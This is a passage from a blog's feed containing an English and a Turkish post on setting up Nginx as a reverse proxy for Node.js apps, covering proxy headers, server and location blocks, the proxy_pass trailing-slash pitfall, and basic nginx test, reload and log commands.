&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_read_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# All other requests are routed to the application&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="nginx-management-and-commands"&gt;⚙️ Nginx Management and Commands&lt;a class="headerlink" href="#nginx-management-and-commands" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After making changes to the configuration, always test it before restarting Nginx:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nginx&lt;span class="w"&gt; &lt;/span&gt;-t
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the test is successful, you can reload the configuration silently without dropping current connections:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nginx&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To inspect errors, following the error logs in real-time is the most practical way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;tail&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/var/log/nginx/error.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Placing Nginx in front of the application splits the responsibilities. Your application only runs its code; Nginx shoulders all the other heavy public-facing tasks and lets the system breathe.&lt;/p&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/docker-node-js-root-olmadan-calistirmak/"&gt;Running Node.js Containers Without Root in Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning and Kernel Settings for Node.js Microservices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;An intermediary server that stands between clients and servers, receiving incoming requests and routing them to backend servers.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;A high-performance event notification mechanism used by the Linux kernel to monitor input/output (I/O) events.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Nginx"/><category term="Reverse Proxy"/><category term="Linux"/><category term="Web Geliştirme"/><category term="Sunucu"/></entry><entry><title>Nginx'i Ters Vekil Sunucu (Reverse Proxy) Olarak Yapılandırmak</title><link href="https://yuceltoluyag.github.io/nginx-ters-vekil-sunucu-yapilandirmak/" rel="alternate"/><published>2026-06-26T02:40:00+03:00</published><updated>2026-06-26T02:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/nginx-ters-vekil-sunucu-yapilandirmak/</id><summary type="html">&lt;p&gt;Node.js ve diğer web uygulamalarınızın önüne Nginx ters vekil sunucusu konumlandırarak güvenlik, hız sınırlandırma ve performans artırma rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en hafta eski bir projenin Nginx konfig&amp;uuml;rasyonunu d&amp;uuml;zenlerken o me&amp;scedil;hur &lt;code&gt;proxy_pass http://127.0.0.1:3000/;&lt;/code&gt; sat&amp;inodot;r&amp;inodot;n&amp;inodot;n sonundaki sla&amp;scedil; (&lt;code&gt;/&lt;/code&gt;) karakteri y&amp;uuml;z&amp;uuml;nden t&amp;uuml;m API rotalar&amp;inodot;n&amp;inodot;n 404 verdi&amp;gbreve;ini fark ettim. Nedenini anlamak i&amp;ccedil;in saatlerce sa&amp;ccedil; ba&amp;scedil; yoldum. Hatta bir ara e&amp;scedil;im i&amp;ccedil;eriden seslenip "Y&amp;uuml;cel, yine o ufac&amp;inodot;k sla&amp;scedil; karakteri y&amp;uuml;z&amp;uuml;nden mi uyumuyorsun?" dedi. O an hem g&amp;uuml;ld&amp;uuml;m hem de web geli&amp;scedil;tirme d&amp;uuml;nyas&amp;inodot;ndaki bu unglamorous (g&amp;ouml;steri&amp;scedil;siz ama hayati) detaylar&amp;inodot;n bizi nas&amp;inodot;l uykusuz b&amp;inodot;rakt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; tekrar hat&amp;inodot;rlad&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;Bilgisayar&amp;inodot;m&amp;inodot;zda &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rken her &amp;scedil;ey basittir. Node.js uygulamam&amp;inodot;z 3000 portunu dinler, biz de taray&amp;inodot;c&amp;inodot;dan &lt;code&gt;localhost:3000&lt;/code&gt; yaz&amp;inodot;p i&amp;scedil;imize bakar&amp;inodot;z. Ancak canl&amp;inodot;ya &amp;ccedil;&amp;inodot;k&amp;inodot;&amp;scedil; (production) an&amp;inodot; geldi&amp;gbreve;inde i&amp;scedil;in rengi tamamen de&amp;gbreve;i&amp;scedil;ir. Art&amp;inodot;k bir alan ad&amp;inodot;m&amp;inodot;z, 443 portundan HTTPS trafi&amp;gbreve;imiz ve t&amp;uuml;m internetten gelebilecek binlerce kullan&amp;inodot;c&amp;inodot; vard&amp;inodot;r. &lt;/p&gt;
&lt;p&gt;Uygulaman&amp;inodot;n kendisini do&amp;gbreve;rudan internete a&amp;ccedil;mak, evinizin d&amp;inodot;&amp;scedil; kap&amp;inodot;s&amp;inodot;n&amp;inodot; s&amp;ouml;k&amp;uuml;p sokaktaki herkesin do&amp;gbreve;rudan yatak odan&amp;inodot;za kadar y&amp;uuml;r&amp;uuml;mesine izin vermeye benzer. &amp;Idot;&amp;scedil;te bu y&amp;uuml;zden dostum, bug&amp;uuml;n internet trafi&amp;gbreve;iyle uygulama kodumuz aras&amp;inodot;na o a&amp;scedil;&amp;inodot;lmaz Nginx duvar&amp;inodot;n&amp;inodot; nas&amp;inodot;l &amp;ouml;rece&amp;gbreve;imizi konu&amp;scedil;aca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="nginx-hangi-sorunu-cozer"&gt;🛑 Nginx Hangi Sorunu &amp;Ccedil;&amp;ouml;zer?&lt;a class="headerlink" href="#nginx-hangi-sorunu-cozer" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Uygulama sunucular&amp;inodot; (Node.js, Python, Go vb.) i&amp;scedil; mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmakta iyidir. Ancak internetten gelen vah&amp;scedil;i trafi&amp;gbreve;i do&amp;gbreve;rudan g&amp;ouml;&amp;gbreve;&amp;uuml;slemek onlar&amp;inodot;n i&amp;scedil;i de&amp;gbreve;ildir. Nginx, uygulaman&amp;inodot;n &amp;uuml;zerinden &amp;scedil;u y&amp;uuml;kleri almak i&amp;ccedil;in vard&amp;inodot;r:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TLS (SSL) sertifikas&amp;inodot;n&amp;inodot; sonland&amp;inodot;rmak ve s&amp;uuml;resi bitmeden yenilemek.&lt;/li&gt;
&lt;li&gt;Statik dosyalar&amp;inodot; (resim, CSS, JS), uygulama sunucusunu hi&amp;ccedil; yormadan do&amp;gbreve;rudan diskten jet h&amp;inodot;z&amp;inodot;yla sunmak.&lt;/li&gt;
&lt;li&gt;Yava&amp;scedil; ba&amp;gbreve;lant&amp;inodot;ya sahip istemcilerin soketlerini a&amp;ccedil;&amp;inodot;k tutarak uygulaman&amp;inodot;n kilitlenmesini &amp;ouml;nlemek.&lt;/li&gt;
&lt;li&gt;&amp;Idot;stek boyutu limitlerini ve zaman a&amp;scedil;&amp;inodot;mlar&amp;inodot;n&amp;inodot; (timeout) y&amp;ouml;netmek.&lt;/li&gt;
&lt;li&gt;&amp;Idot;stek s&amp;inodot;n&amp;inodot;rland&amp;inodot;rma (rate limiting) ile k&amp;ouml;t&amp;uuml; niyetli taramalar&amp;inodot; engellemek.&lt;/li&gt;
&lt;li&gt;Uygulama yeniden ba&amp;scedil;lat&amp;inodot;l&amp;inodot;rken gelen istekleri kuyru&amp;gbreve;a al&amp;inodot;p kesinti ya&amp;scedil;atmamak.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nginx t&amp;uuml;m bu halka a&amp;ccedil;&amp;inodot;k i&amp;scedil;leri &amp;uuml;zerine al&amp;inodot;r, arkas&amp;inodot;ndaki uygulama ise sadece kendi kodunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya odaklan&amp;inodot;r. (&amp;Ouml;rne&amp;gbreve;in, Node.js uygulaman&amp;inodot;z&amp;inodot; Docker konteynerlerinde g&amp;uuml;venli bir &amp;scedil;ekilde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak ve yap&amp;inodot;land&amp;inodot;rmak i&amp;ccedil;in &lt;a href="/docker-node-js-root-olmadan-calistirmak/"&gt;Docker ve Node.js: Root Olmadan &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;/a&gt; rehberime g&amp;ouml;z atabilirsiniz.)&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="temel-fikir-ters-vekil-sunucu-reverse-proxy"&gt;💡 Temel Fikir: Ters Vekil Sunucu (Reverse Proxy)&lt;a class="headerlink" href="#temel-fikir-ters-vekil-sunucu-reverse-proxy" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx'i sistemin tek giri&amp;scedil; kap&amp;inodot;s&amp;inodot; haline getiririz. D&amp;inodot;&amp;scedil; d&amp;uuml;nya sadece Nginx ile konu&amp;scedil;ur (443 portu, TLS ile). Nginx ise ald&amp;inodot;&amp;gbreve;&amp;inodot; istekleri arka planda, sadece yerel a&amp;gbreve;dan eri&amp;scedil;ilebilen uygulamaya (3000 portu, &amp;scedil;ifresiz HTTP ile) iletir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;istemci&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TLS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uygulama&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu yap&amp;inodot;ya ters vekil sunucu (reverse proxy)&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; diyoruz. &amp;Idot;stemciler arkadaki uygulaman&amp;inodot;n varl&amp;inodot;&amp;gbreve;&amp;inodot;ndan haberdar bile olmazlar.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="nginx-nasl-calsr"&gt;🏗️ Nginx Nas&amp;inodot;l &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r?&lt;a class="headerlink" href="#nginx-nasl-calsr" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx, bir adet &lt;strong&gt;master&lt;/strong&gt; s&amp;uuml;re&amp;ccedil; ve &amp;ccedil;ekirdek say&amp;inodot;s&amp;inodot;na g&amp;ouml;re yap&amp;inodot;land&amp;inodot;r&amp;inodot;lan &lt;strong&gt;worker&lt;/strong&gt; s&amp;uuml;re&amp;ccedil;lerinden olu&amp;scedil;ur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;master process
   &amp;boxvr;&amp;boxh;&amp;boxh; worker process (&amp;ccedil;ekirdek 1)
   &amp;boxvr;&amp;boxh;&amp;boxh; worker process (&amp;ccedil;ekirdek 2)
   &amp;boxur;&amp;boxh;&amp;boxh; worker process (&amp;ccedil;ekirdek 3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Master s&amp;uuml;re&amp;ccedil; konfig&amp;uuml;rasyonu okur, portlar&amp;inodot; ba&amp;gbreve;lar ve i&amp;scedil;&amp;ccedil;i (worker) s&amp;uuml;re&amp;ccedil;leri y&amp;ouml;netir. As&amp;inodot;l i&amp;scedil;i yapan i&amp;scedil;&amp;ccedil;iler ise olay d&amp;ouml;ng&amp;uuml;s&amp;uuml; (event loop) mimarisiyle &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Eski nesil web sunucular&amp;inodot; (&amp;ouml;rne&amp;gbreve;in Apache'nin klasik modeli) her ba&amp;gbreve;lant&amp;inodot; i&amp;ccedil;in ayr&amp;inodot; bir i&amp;scedil; par&amp;ccedil;ac&amp;inodot;&amp;gbreve;&amp;inodot; (thread) a&amp;ccedil;arken, Nginx tek bir i&amp;scedil;&amp;ccedil;i s&amp;uuml;reciyle Linux &amp;ccedil;ekirde&amp;gbreve;inin olay bildirim mekanizmas&amp;inodot;n&amp;inodot; (&lt;code&gt;epoll&lt;/code&gt;)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; kullanarak binlerce ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; ayn&amp;inodot; anda y&amp;ouml;netebilir.&lt;/p&gt;
&lt;p&gt;Bu sayede, yava&amp;scedil; veya bo&amp;scedil;ta bekleyen bir istemci Nginx i&amp;ccedil;in neredeyse s&amp;inodot;f&amp;inodot;r maliyetlidir. Nginx bu yava&amp;scedil; ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot; s&amp;uuml;nger gibi emer ve arkadaki uygulamaya sadece tamamen haz&amp;inodot;r istekleri iletir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="server-ve-location-bloklar"&gt;📁 Server ve Location Bloklar&amp;inodot;&lt;a class="headerlink" href="#server-ve-location-bloklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx konfig&amp;uuml;rasyonunun temeli &lt;code&gt;server&lt;/code&gt; ve &lt;code&gt;location&lt;/code&gt; bloklar&amp;inodot;na dayan&amp;inodot;r.&lt;/p&gt;
&lt;h3 id="server-blogu"&gt;Server Blo&amp;gbreve;u&lt;a class="headerlink" href="#server-blogu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bir alan ad&amp;inodot; ve port i&amp;ccedil;in gelen trafi&amp;gbreve;in nas&amp;inodot;l kar&amp;scedil;&amp;inodot;lanaca&amp;gbreve;&amp;inodot;n&amp;inodot; belirler:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/fullchain.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/privkey.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="location-blogu"&gt;Location Blo&amp;gbreve;u&lt;a class="headerlink" href="#location-blogu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Gelen iste&amp;gbreve;in yoluna (path) g&amp;ouml;re ne yap&amp;inodot;laca&amp;gbreve;&amp;inodot;na karar verir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/static/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/www/app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;/static/&lt;/code&gt; alt&amp;inodot;ndaki dosyalar do&amp;gbreve;rudan diskten okunup g&amp;ouml;nderilir. Uygulama sunucusu bu isteklerden hi&amp;ccedil; haberdar olmaz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="proxy_pass-ve-sondaki-slas-detay_1"&gt;⚡ proxy_pass ve Sondaki Sla&amp;scedil; (/) Detay&amp;inodot;&lt;a class="headerlink" href="#proxy_pass-ve-sondaki-slas-detay" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Beni gece uykusuz b&amp;inodot;rakan o me&amp;scedil;hur sla&amp;scedil; kural&amp;inodot; &amp;scedil;udur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Durum A: Sla&amp;scedil; var&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Durum B: Sla&amp;scedil; yok&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Kritik Detay: proxy_pass Sat&amp;inodot;r&amp;inodot;ndaki Sla&amp;scedil; (/) Ayr&amp;inodot;nt&amp;inodot;s&amp;inodot;! ⚠️&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;proxy_pass&lt;/code&gt; sat&amp;inodot;r&amp;inodot;n&amp;inodot;n sonunda &lt;code&gt;/&lt;/code&gt; varsa (Durum A), Nginx e&amp;scedil;le&amp;scedil;en &lt;code&gt;/api/&lt;/code&gt; &amp;ouml;nekini k&amp;inodot;rpar ve &lt;code&gt;/api/users&lt;/code&gt; iste&amp;gbreve;i uygulamaya &lt;code&gt;/users&lt;/code&gt; olarak iletilir.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er sonda &lt;code&gt;/&lt;/code&gt; yoksa (Durum B), Nginx yolu de&amp;gbreve;i&amp;scedil;tirmeden aynen iletir ve &lt;code&gt;/api/users&lt;/code&gt; iste&amp;gbreve;i uygulamaya yine &lt;code&gt;/api/users&lt;/code&gt; olarak gider. Bu ufac&amp;inodot;k karakter fark&amp;inodot; API rotalar&amp;inodot;n&amp;inodot;z&amp;inodot;n 404 vermesine neden olabilir!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="i-istemci-bilgilerini-arkaya-iletmek"&gt;ℹ️ &amp;Idot;stemci Bilgilerini Arkaya &amp;Idot;letmek&lt;a class="headerlink" href="#i-istemci-bilgilerini-arkaya-iletmek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Uygulama sadece Nginx ile konu&amp;scedil;tu&amp;gbreve;u i&amp;ccedil;in varsay&amp;inodot;lan olarak t&amp;uuml;m isteklerin &lt;code&gt;127.0.0.1&lt;/code&gt; adresinden geldi&amp;gbreve;ini san&amp;inodot;r. Bu durum loglama ve g&amp;uuml;venlik kontrollerini bozar. Ger&amp;ccedil;ek istemci bilgilerini ba&amp;scedil;l&amp;inodot;klar (headers) ile arkaya ta&amp;scedil;&amp;inodot;mal&amp;inodot;y&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
